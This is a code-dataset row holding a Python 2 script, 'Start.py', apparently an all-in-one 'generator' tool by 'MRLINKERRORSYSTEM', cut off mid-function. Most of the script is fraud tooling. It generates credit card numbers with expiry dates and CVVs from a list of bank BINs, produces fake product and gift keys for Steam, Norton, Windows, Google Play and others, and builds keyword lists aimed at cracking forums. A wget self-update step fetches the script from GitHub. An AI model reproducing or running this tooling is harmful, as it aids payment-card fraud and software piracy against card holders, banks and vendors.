hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1e8e6188477bb13d89fa71eb5cb9b8da6ea46918
78,435
py
Python
Start.py
Hackermrlinkerrorsystem/m4rkgcBETA
73d0cd5b972a781e7d45f5b566ee9d2b15425978
[ "MIT" ]
2
2021-04-09T06:38:18.000Z
2021-11-20T17:28:28.000Z
Start.py
Hackermrlinkerrorsystem/m4rkgcBETA
73d0cd5b972a781e7d45f5b566ee9d2b15425978
[ "MIT" ]
null
null
null
Start.py
Hackermrlinkerrorsystem/m4rkgcBETA
73d0cd5b972a781e7d45f5b566ee9d2b15425978
[ "MIT" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 # First Say Salam Aalaykoum #----------Bismillah----------# MRLINK____Code='v1.0 - MRLINKERRORSYSTEM - SUbSuBsUBsRiPeYaBoUnAy' Coder_='MRLINKERRORSYSTEM | @SOLOPLAYER' Msg=""" (*) I Made It For : * Terminal & SSh's Users * Mac's * Android's Users(Termux/Gnuroot/Userland Apps) * No Windows's Trojens | But U cant Use Gui usage here :/ (*) You can take Some Parts of my tool but u ll not be a legend coder ;) (*) Thnx 2 @04x (iran-hack) | @thelinuxchoice | @1337r00t .. They've powefull tools .. check their Codes plz :hug: (*) Please Contact me Bro/sist (*) I will Make Another Tools just Follow Me And Follow My Brother + EscanorSama(MRLINKERRORSYSTEM) : fb.com/kakakfahiracantik.1 + Aron-Tn(MRLINKERRORSYSTEM) : fb.com/MRLINKERRORSYSTEM + ofc u also because u ve using my tool everytime ;) (/) I didnt Love My Gf So i wanna tell her : u r my title in my terminal u r my balance in my wallet u r my ;{} in Java'Code u r my css in my html u r my boss in my work u r my Star in my world && u ,the reader, what u do between us Go fuck ur self (joking xD) """ #-----------------------------# import sys, threading, time, os, random, string, re,getpass from random import * import requests ## #Colors# la7mar = '\033[91m' lazra9 = '\033[94m' la5dhar = '\033[92m' movv = '\033[95m' lasfar = '\033[93m' ramadi = '\033[90m' blid = '\033[1m' star = '\033[4m' starend = '\033[24m' bigas = '\033[07m' bigbbs = '\033[27m' hell = '\033[05m' saker = '\033[25m' labyadh = '\033[00m' cyan = '\033[0;96m' ## if not os.path.isdir('results'): os.mkdir('results') ## try: zz=requests.get('https://raw.githubusercontent.com/Hackermrlinkerrorsystem/m4rkgcBETA/master/Start.py') if m4rk____Code not in zz.text.encode('utf-8'): print "{y}Notification {r}! {y}New Version Of {re}BETA \n{y}Do You Want To Get Update RightNow {r}?? ({y}Y{r}/{y}n{r})\033[00m".format(r=la7mar,g=la5dhar,y=la7mar,re=ramadi) tfq=raw_input("%s%sMRLINK%s > %s"%(star,ramadi,starend,lazra9)) if tfq.upper() in ['Y','YES','O','OUI','SI','AY','EY','JA','HAY','YOI']: if os.name!='nt': os.system('wget https://raw.githubusercontent.com/Hackermrlinkerrorsystem/m4rkgcBETA/master/Start.py') sys.exit() else: raw_input("%s{!} Opps !! Try It Manuelly \nlink> https://github.com/m4rktnofficiel/m4rkgcBETA/"%la7mar) else: pass except: pass ## def clear(): if os.name == 'nt': os.system('cls && title ./ MRLINK - ALL IN ONE GENERATORS/CHECKERS/EDITORS/GRABBERS BY @SOLOAPLAYER \.') else: os.system('clear') ''' Configs {don't Remove AnyThing} ''' ##Emails## listmail=['orange.fr','@yahoo.com','@gmail.com','@hotmail.com','@gmx.com','@yandex.com','@mail.ru','@live.com','@inbox.ru','@bk.ru','@outlook.fr','@seznam.cz','@rambler.ru','@21cn.com','@googlemail.com','@aol.com'] #add Any Stron9 E-mails ##For ccSama Tool## #Bank Names# AmExlis=['AmEx','AmEx Small CorporateCard1','AmEx Small CorporateCard2'] DinersClublis=['DinersClub 1','DinersClub 2','DinersClub 3','DinersClub 4'] CarteBlanchelis=['CarteBlanche'] JCBlis=['JCB(JapaneseCreditBureau)'] Visalis=['Visa','Debit Banca MonteDeiPaschiDiSiena(Italy)','Banca MonteDeiPaschiDiSiena(Italy)','Gold Bank of America','CV/Gold Bank of America','PV Bank of America','CV Wells Fargo','CV','Wells Fargo','Citibank','Bank of America','ElectronPrepaidPosteItaliane(Italy)','Bank of America2','Rockwell Federal CreditUnion','House hold Bank','First Cincinnati','Associates National Bank','Security Pacific','Colonial NationalBank','A.M.C.Federal Credit Union','Valley National Bank','Chemical Bank','Pennsylvania State Employees Credit Union','CV Signet Bank','Union Trust','Marine Midland','CV Citibank','CVCitibank','StateStreetBank','Chase Manhattan Bank','Chase Manhattan Bank','Chase Lincoln FirstC lassic','Chase Lincoln First Classic','Corestates','National Westminster Bank','First Chicago Bank','Consumers Edge','Premiercard Security First','Security First','PV Citibank','Citibank/Citicorp','MonogramBank','H.H.B.C.','First National Bank of Louisville','Gold Dome','First Atlanta','First American Bank','Primerica Bank','N.C.M.B./NationsBank','National Bank of Delaware','National West','BankOne','First Signature Bank & Trust','Gary Wheaton Bank','Firstier Bank Lincoln','Bank of Omaha','Indiana National Bank','Security Pacific National Bank','Bank of Hoven','Security Bank & Trust','MerrilLynch Bank & Trust','Ameri Trust','Premiercard','Empire Affiliates Federal Credit Union','Republic Savings','C.I.B.C.','Canadian Imperial Bank','Belgium A.S.L.K.','Royal Bank of Canada','Toronto Dominion of Canada','Bank of NovaScotia','Bank of NovaScotia2','Barclays(UK)','First Direct','T.S.B.Bank','Citibank','Bank of Queensland','FirstCard','Home Federal','Tompkins County Trust','IBM Credit Union','Rocky Mountain','First Security','WestBank','CV WellsFargo','AT&Ts UniversalCard','AT&Ts UniversalCard','M.B.N.A.North America','Bank of Hawaii','Macom Federal Credit Union','IBM MidAmerica Federal Credit Union','U.S.Bank','Security Pacific Washington','Village Bank of Chicago','HongKong NationalBank','CV BarclayCard(UK)','BancodiNapoli(Italy)','BNL(Italy)','Carta Moneta CARIPLO/Intesa(Italy)','Credito Italiano(Italy)','Gold bank ganaderoBBV(Colombia)','MBNABank'] MasterCardlis=['MasterCard','Maryland of NorthAmerica','South western States Bank ard Association','Universal Travel Voucher','Western States Bank ard Association','Eurocard France','Mountain States Bank ard Association','Credit Systems Inc.','Westpac Banking Corporation','Midamerica Bank ard Association','First Bank Card Center','ComputerCommunications of America','Bank of Montreal','Mellon Bank N.A.','CentralTrustCompany N.A.','Security Pacific National Bank','Promociony Operacion S.A.','Banco Nacionaldo Mexico','NewEngland Bank ard Association','Million Card Service Co.Ltd.','The Citizens & Southern National Bank','Kokunai Shinpan CompanyLtd.','Chemical BankDelaware','F.C.C.National Bank','The Bank card Association Inc.','Marine Midland Bank N.A.','Old Kent Bank & Trust Co.','Union Trust','Citibank / Citicorp','Central Finance Co.Ltd.','SovranBank / CentralSouth','Standard Bank of SouthAfrica Ltd.','Security Bank & TrustCompany','Trust mark National Bank','Midland Bank','First Pennsylvania BankN.A.','Eurocard Ab','Rocky Mountain Bankcard System Inc.','FirstUnionNationalBankofNorthCarolina','Sunwest Bank of Albuquerque N.A.','Harris Trust & Savings Bank','Badische Beamten bank EG','Eurocard Deutschland','Computer Systems Association Inc.','Citibank Arizona','Financial Transaction System Inc.','First Tennessee Bank N.A.','Bank of America','MasterCard (canbeGold) - Bank of America','Home Federal','Signet Bank','Maryland of NorthAmerica','MasterCard Prepaid - PayPal / Lottomaticard (Italy)','Wells Fargo','Wells Fargo','Bank of Hoven','Citibank / Citicorp II','BNL / BNPParibas(Italy)','National Westminster Bank','Chase Manhattan','Bancodi Sardegna (Italy)','Bancolombia Cadenalco (Colombia)','BancodeOccidente (Colombia)','Granahorrar(Colombia)','Granahorrar(Colombia)'] Maestrolis=['BNL/BNPParibas (Italy)'] Discoverlis=['Discover','MBNABank'] #Bins# Amexbinz=['37','3782','3787'] DinersClubbinz=['30','31','35','36','38'] CarteBlanchebinz=['35'] JCBbinz=['35'] Visabinz=['4', '400314', '400315', '40240238', '4019', '4024', '4040', '4048', '40240071', '4013', '4019', '402360', '4024', '4027', '4032', '4052', '4060', '4070', '4071', '4094', '4113', '4114', '4121', '4121', '4122', '4125', '4128', '4131', '4225', '4226', '4231', '4232', '4239', '4241', '4250', '4253', '42545123', '4254', '4271382', '4271', '4301', '4302', '4311', '4317', '4327', '4332', '4339', '4342', '4356', '4368', '4387', '4388', '4401', '4413', '4418', '4421', '4424', '4428', '4436', '4443', '4447', '4448020', '4452', '4498', '4502', '4503', '4506', '4510', '4520', '4537', '4538', '4539', '4543', '4544', '4556', '4564', '4673', '4678', '4707', '47121250', '4719', '4721', '4722', '4726', '4783', '4784', '4800', '4811', '4819', '4820', '4833', '4842', '4897', '4921', '4929', '45399710', '4557', '4908', '4532', '45475900', '4916'] MasterCardbinz=['5','5031', '5100', '5110', '5120', '5130', '5140', '5150', '5160', '5170', '5172', '518', '519', '5201', '5202', '5204', '5205', '5206', '5207', '5208', '5209', '5210', '5211', '5212', '5213', '5215', '5216', '5217', '5218', '5219', '5220', '5221', '5222', '5223', '5224', '5225', '5226', '5227', '5228', '5229', '5230', '5231', '5232', '5233', '5234', '5235', '5236', '5254', '5273', '5286', '5291', '5329', '533875', '5410', '5412', '5419', '5424', '543013', '5434', '5465', '52550114', '530693', '5406251', '5426', '5406'] Maestrobinz=['581149'] Discoverbinz=['60','6013'] ##4 KeywordMaker## social=['hotmail','facebook','instagram','gmail','twitch','live','gmx','yandex','paypal','Netflix','Mediafire','Mega ','Deezer ','youtube','twitter','linkdin','soundcloud','Goddady','host'] game=['fortnite','Uplay','origin','rockstargames','bf','game','ps4','xbox','epic games','eb games','eu','battle royale','pc','video game','gameplay','jeux','g2a ','android','twitch prime','tutorial'] geek1=['download','tracker','update','android','account','amazon','skins','cheats','code','characters','challenges','hack','help','free','jobs','jumping shotgun','bucks','shotgun','how to play','game ps4','generator','giveaway','code','access code','character creation','pc full version','download','twitch prime','tutorial','servers','stats','steam','quiz','season','ps4 game','pc controls','pc requirements','videos','v bucks free','v bucks hack','reddit','rating','review','ranks','update ps4','unblocked','update xbox','weapons','wallpaper','upcoming skins','online','on ps3','on switch','news','new skins','new update','new map','ninja','kills','knight','logo','login','launcher','live','leaked','lag','memes','mac','meaning','mobile codes','youtube','youtube tags','backup','where to buy','where to get','get','how to play','gameplay trailer','cracked','hacked','hits','Crackforum','nulled.no','hackforum','How To crack','How To Get Free','checker'] geek2=['','accounts','account','Hit','game','generator','Premium','Free'] geek3=['','hacked','cracked','leaks','hits','Hacked by ','anonymous','anon','account','token'] geek4=['','2004','2005','2006','2007','2008','2009','2010','2011','2012','2013','2014','2015','2016','2017','2018','2019']#-You: Damnaa Use range 13 reason Why !! #-m4rk:xD boring ! rr=[];rre=[] def rakez(): scammer=raw_input("\n%s[%s?%s] Press Enter To Exit or [r] to return !! %s"%(la7mar,lazra9,la7mar,cyan)) if scammer.upper() in ['R','B','BACK','RETURN','00','0']: time.sleep(1) clear() awlstar() else: print "%s%s[%s(0%s.%s0)%s] O Revoir Senpai .. !!\n"%(blid,la7mar,lazra9,lasfar,lazra9,la7mar) #ccSama CreditCard Generat0r# class ccSama(object): def __init__(self): clear() self.logon() if not os.path.isdir('results/ccgen'): os.mkdir('results/ccgen') else: carder=raw_input("%s%sD0ll4r%s%s$%s %s"%(ramadi,star,hell,starend,saker,lazra9)) if carder in ['01','1']: Sa7by=0 self.gen1(Sa7by) elif carder in ['02','2']: self.gen2() elif carder =='69': heroken() else:rakez() def sss(self ,lis,binlis): global aaa for x,y in enumerate(lis): print"%s[%s] %s%s"%(la7mar,x+1,lasfar,y) aaa=int(raw_input("%s%sD0ll4r%s%s$%s %s"%(ramadi,star,hell,starend,saker,lazra9))) plasty=binlis[int(float(aaa-1))] self.gen1(plasty) def gen2(self): print """{y} $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ {r}({b}01{r}){y} American Express $$ $$ {r}({b}02{r}){y} Diners Club $$ $$ {r}({b}03{r}){y} Visa $$ $$ {r}({b}04{r}){y} MasterCard $$ $$ {r}({b}05{r}){y} Discover $$ $$ {r}({b}06{r}){y} Maestro $$ $$ {r}({b}07{r}){y} CarteBlanche $$ $$ {r}({b}08{r}){y} Japanese Credit Bureau $$ $$ {r}({b}69{r}){y} Back $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ """.format(y=lasfar,r=la7mar,b=lazra9) card777=raw_input("%s%sD0ll4r%s%s$%s %s"%(ramadi,star,hell,starend,saker,lazra9)) if card777 in['01','1']: self.sss(AmExlis,Amexbinz) elif card777 in['02','2']: self.sss(DinersClublis,DinersClubbinz) elif card777 in['03','3']: self.sss(Visalis,Visabinz) elif card777 in['04','4']: self.sss(MasterCardlis,MasterCardbinz) elif card777 in['05','5']: self.sss(Discoverlis,Discoverbinz) elif card777 in['06','6']: self.sss(Maestrolis,Maestrobinz) elif card777 in['07','7']: self.sss(CarteBlanchelis,CarteBlanchebinz) elif card777 in['08','8']: self.sss(JCBlis,JCBbinz) elif card777 =='69': ccSama() def logon(self): print"""%s%s $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ %sccSama - CreditCard Generator%s $$ $$ £ %sI Feel Like milionair%s £ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ %s[01]%s Generate With Single Bin %s$$ $$ %s[02]%s Search & Gen Bin From DB %s$$ $$ %s[69]%s Back %s$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"""%(blid,lasfar,lazra9,lasfar,lazra9,lasfar,la7mar,lazra9,lasfar,la7mar,lazra9,lasfar,la7mar,lazra9,lasfar) def gen1(self ,Sa7by):#Sa7by Kol Chy Wadha7 W jawna Bahy Brcha xDD... if Sa7by !=0: #Some Tries if aaa in ['02','2','07','7']: sensei=12-len(str(Sa7by)) elif aaa in ['01','1']: sensei=13-len(str(Sa7by)) else: sensei=16-len(str(Sa7by)) xx='x'*sensei binn3r=Sa7by+xx print " %s[%s$%s] Bin %s : %s"%(la7mar,lasfar,la7mar,lazra9,binn3r) binner=Sa7by else: binner=raw_input(" %s[%s$%s] Enter Bin [exemple:491628] %s"%(la7mar,lasfar,la7mar,lazra9)) while binner.isdigit()!=1 or len(str(binner))==0: binner=raw_input(" %s[%s$%s] Enter Bin [exemple:491628] %s"%(la7mar,lasfar,la7mar,lazra9)) yearb=raw_input(" %s[%s$%s] Enter Year [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) if len(str(yearb))!=0: while yearb.isdigit()!=1 or int(yearb) not in range(2018,2025): yearb=raw_input(" %s[%s$%s] Enter Year [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) mounthb=raw_input(" %s[%s$%s] Enter Month [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) if len(str(mounthb))!=0: while int(mounthb) not in range(1,31): mounthb=raw_input(" %s[%s$%s] Enter Month [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) cvvb=raw_input(" %s[%s$%s] Enter CVV [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) if len(str(cvvb))!=0: while cvvb.isdigit()!=1 or len(str(cvvb))!=3: cvvb=raw_input(" %s[%s$%s] Enter CVV [RND:Press Enter] %s"%(la7mar,lasfar,la7mar,lazra9)) mouchi=int(raw_input(" %s[%s$%s] How Much ?? %s"%(la7mar,lasfar,la7mar,lazra9))) print "%s+%s--------------------------%s+"%(lazra9,la7mar,lazra9) with open('results/ccgen/ccgenerated.txt','a') as mark: mark.write('\n~~ Bin:%s%s | %s cc ~~ (By MRLINKERRORSYSTEM) '%(binner,xx,mouchi)+'\n') for ii in range(mouchi): senpaion = string.digits senpai= ''.join(choice(senpaion) for _ in range(sensei)) yearbn1 = yearb mounthbn1 = mounthb cvvbn1 = cvvb if len(str(mounthb))==0: mounthbn = randrange(01,31,1) mounthbn1 = mounthbn if int(mounthbn1) <= 9: mounthbn1 = str('0'+str(mounthbn1)) if len(str(yearb))==0: yearbn = randrange(2019,2025,1) yearbn1 = yearbn if len(str(cvvb))==0: cvvbn = ''.join(choice(string.digits) for _ in range(3)) cvvbn1 = cvvbn sama = ("%s%s|%s|%s|%s"%(binner,senpai,yearbn1,mounthbn1,cvvbn1)) print la7mar+sama with open('results/ccgen/ccgenerated.txt','a') as mark: mark.write(sama+'\n') print "%s+%s--------------------------%s+"%(lazra9,la7mar,lazra9) print "%s%s cc Saved In 'results/ccgen/ccgenerated.txt' ^_^"%(mouchi,la7mar) #ZeroEye Key Generat0r# class zeroeye(object): def __init__ (self): if not os.path.isdir('results/keys'): os.mkdir('results/keys') self.zero() zack =raw_input('%MRLINK%s>%s'%(la7mar,ramadi,lazra9)) if zack in ['01','1']: self.steam() elif zack in ['02','2']: self.express() elif zack in ['03','3'] : self.hma() elif zack in ['04','4'] : self.karta() elif zack in ['05','5'] : self.g2a() elif zack in ['06','6'] : self.gplay() elif zack in ['07','7'] : self.avgantiv() elif zack in ['08','8']: self.esetss() elif zack in ['09','9']: self.Norton() elif zack =='10': self.photoshop() elif zack =='11': self.winkeyz() elif zack =='12': self.amazon() elif zack == '69' : heroken() def zero(self): print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} [!] Sometimes U Need {re}X X{y} To Use Vpn if U want to try a key {re}X X{y} (Ban Or CountryNotAvaible) {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X {r}({b} 01 {r}){y} Steam {re}X X {r}({b} 02 {r}){y} Express {re}X X {r}({b} 03 {r}){y} Hidemyass {re}X X {r}({b} 04 {r}){y} TN Recharge Code {re}X X {r}({b} 05 {r}){y} G2A {re}X X {r}({b} 06 {r}){y} Google Play {re}X X {r}({b} 07 {r}){y} AVG Antivurus {re}X X {r}({b} 08 {r}){y} Eset Smart Security {re}X X {r}({b} 09 {r}){y} Norton Antivirus {re}X X {r}({b} 10 {r}){y} PhotoShop Cs6 {re}X X {r}({b} 11 {r}){y} Windows Os {re}X X {r}({b} 12 {r}){y} Amaz0n {re}X X {r}({b} 69 {r}){y} Back {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,g=la5dhar,y=lasfar,re=ramadi,m=movv,c=cyan,bl=blid) def steam(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Steam Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(5)) taki = string.ascii_letters + string.digits taki2 = ''.join(choice(taki) for _ in range(5)) metsuha = string.ascii_letters + string.digits metsuha3 = ''.join(choice(metsuha) for _ in range(5)) mark = urname1.upper() +('-')+ taki2.upper() +('-')+ metsuha3.upper() print movv,az+1,")",mark," by MRLINK" save = open('results/keys/steam.txt','a') save.write(mark + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def hma(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} HMA Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(6)) taki = string.ascii_letters + string.digits taki2 = ''.join(choice(taki) for _ in range(6)) metsuha = string.ascii_letters + string.digits metsuha3 = ''.join(choice(metsuha) for _ in range(6)) mark = urname1.upper() +('-')+ taki2.upper() +('-')+ metsuha3.upper() print movv,az+1,")",mark," by MRLINK" save = open("results/keys/hma.txt",'a') save.write(mark + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def g2a(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} G2A Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(4)) taki = string.ascii_letters + string.digits taki2 = ''.join(choice(taki) for _ in range(4)) metsuha = string.ascii_letters + string.digits metsuha3 = ''.join(choice(metsuha) for _ in range(4)) mark = urname1.upper() +('-')+ taki2.upper() +('-')+ metsuha3.upper() print movv,az+1,")",mark," by MRLINK" save = open("results/keys/g2a.txt", 'a') save.write(mark + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def gplay(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} GooGlePlay Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(4)) taki = string.ascii_letters + string.digits taki2 = ''.join(choice(taki) for _ in range(4)) metsuha = string.ascii_letters + string.digits metsuha3 = ''.join(choice(metsuha) for _ in range(4)) miki = string.ascii_letters + string.digits miki3 = ''.join(choice(miki) for _ in range(4)) tsukaza = string.ascii_letters + string.digits tsukaza3 = ''.join(choice(tsukaza) for _ in range(4)) mark = urname1.upper() +('-')+ taki2.upper() +('-')+ metsuha3.upper() +('-')+ miki3.upper() +('-')+ tsukaza3.upper() print movv,az+1,")",mark," by MRLINK" save = open("results/keys/gplay.txt", 'a') save.write(mark + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def express(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} ExpressVpn Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(22)) print movv,az+1,")","E"+ urname1.upper()," by M4rk" save = open("results/keys/express.txt", 'a') save.write(urname1 + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def karta(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} TNrecharge Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : gothar = string.digits gothar69 = ''.join(choice(gothar) for _ in range(14)) print movv,az+1,")",gothar69," by MRLINK" save = open("results/keys/karta.txt", 'a') save.write(gothar69 + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def Norton(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Norton Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : gothar = string.ascii_letters + string.digits gothar69 = ''.join(choice(gothar) for _ in range(23)) print movv,az+1,")",'V'+gothar69.upper()," by M4rk" save = open("results/keys/norton.txt", 'a') save.write('V'+gothar69.upper() + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass def avgantiv(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} AVG-AntiV Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print 